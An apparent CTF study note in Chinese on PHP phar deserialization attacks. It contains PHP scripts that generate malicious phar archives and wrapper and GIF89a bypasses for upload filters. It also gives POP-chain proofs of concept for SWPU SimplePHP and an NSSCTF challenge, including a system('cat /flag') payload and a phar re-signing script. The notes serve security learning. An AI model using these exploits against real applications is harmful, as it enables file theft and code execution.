Phar反序列化

phar反序列化+两道CTF例题_ctf phar-CSDN博客

php反序列化拓展攻击详解–phar-先知社区

浅析Phar反序列化 - FreeBuf网络安全行业门户

Phar与Stream Wrapper造成PHP RCE的深入挖掘-先知社区

phar 文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。(漏洞利用点)


(1)什么是phar文件

简介

phar 归档的最佳特征是可以将多个文件组合成一个文件。 因此,phar 归档提供了在单个文件中分发完整的 PHP 应用程序并无需将其解压缩到磁盘而直接运行文件的方法。此外,phar 归档可以像任何其他文件一样由 PHP 在命令行和 Web 服务器上执行。phar 有点像 PHP 应用程序的移动存储器。(官网)

总而言之就是像file://或者data://这种流包装器,phar可以让多个文件归档到同一个文件,在不经过解压的情况下被php访问并执行

标识

  • 必须以__HALT_COMPILER();?>来结尾
  • 本质上是压缩文件,以序列化的形式储存在用户自定义的meta-data

(2)漏洞利用条件

  1. phar可以上传到服务器端(存在文件上传)
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且 : / phar 等特殊字符没有被过滤

img


(3)phar生成

注意php.ini中的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='hu3sky';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

<?php
$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>'); //固定的
$phar->setMetadata($c1e4r); //(根据题目来)触发的头是C1e4r类,所以传入C1e4r对象,将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名,添加要压缩的文件
$phar->stopBuffering();
?>


(4)绕过方式

当环境限制了phar不能出现在前面的字符里。可以使用 compress.bzip2://compress.zlib:// 等绕过

1
2
3
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt

也可以利用其它协议

php://filter/read=convert.base64-encode/resource=phar://phar.phar

禁用了<?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class Check{  //检查文件内容是否有<?
public $file_name;
function __construct($file_name){
$this->file_name = $file_name;
}
function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("&lt;? in contents!");
}
}
}
...
...
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!"); //通过"GIF89a" . "< language='php'>__HALT_COMPILER();</>"绕waf

GIF格式验证可以通过在文件头部添加 GIF89a 绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
2、生成一个phar.phar,修改后缀名为phar.gif

<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o->data='hello L1n!';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

(5)其他利用(sql)

Postgres

1
2
3
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "test", "root", "root"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。

MySQL

LOAD DATA LOCAL INFILE也会触发phar造成反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class TestObject {
function __destruct()
{
echo $this->data;
echo 'Destruct called';
}
}
// $filename = 'compress.zlib://phar://phar.phar/test.txt';
// file_get_contents($filename);
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'test', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE users LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

//执行一条 LOAD DATA LOCAL INFILE 语句,从 phar://phar.phar/test.txt 文件中加载数据到 "users" 表中,指定行终止符为 \r\n,忽略第一行数据。
?>

(6)例题

Simple

国城杯 线下赛 web wp - LamentXU - 博客园

[SUCTF-2019/Web/Upload Labs 2 at master · team-su/SUCTF-2019](https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload Labs 2)

[SWPU 2018]SimplePHP | NSSCTF

对于SimplePHP (?file=查看源码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php 
#file.php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
#class.php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

很明显这边提示了是用phar触发反序列化,然后本身是个POP链

最后触发C1e4r类的__destruct()来执行代码,TEST类用来读取flag

那么整体逻辑就是

test -> show -> c1e4r

POC: (php -d phar.readonly=0 xxxx.php)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str = array();
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();;
}
}

$phar =new Phar("awsl.phar");
$phar->startBuffering();
$phar->setStub("XXX<?php XXX __HALT_COMPILER(); ?>");
$a = new C1e4r();
$b = new Show();
$c = new Test();
$c -> params['source'] = '/var/www/html/f1ag.php';
$b -> str['str'] = $c;
$a -> str = $b;

$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

然后burp改后缀为 .jpg 上传

访问/upload能看见自己上传的

接着就是

?file=phar://upload/上传的文件名(/upload里能看到)

然后base64解码即可

Bypass

[NSSRound#4 SWPU]1zweb | NSSCTF

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class LoveNss{
public $ljt="Misc";
public $dky="Re";
public $cmd="system('cat /flag');";
}

$a = new LoveNss();

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //自定义的meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算,默认是SHA1
$phar->stopBuffering();
?>

然后更改类型数量绕过wakeup

修复签名:(修改了类型数量)

1
2
3
4
5
6
7
8
from hashlib import sha256
with open('phar.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha256(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('newtest.phar', 'wb') as file:
file.write(newf) # 写入新文件

kali自带gzip压缩后更改为白名单后缀上传

gzip + 要压缩的文件

访问phar://upload/3.png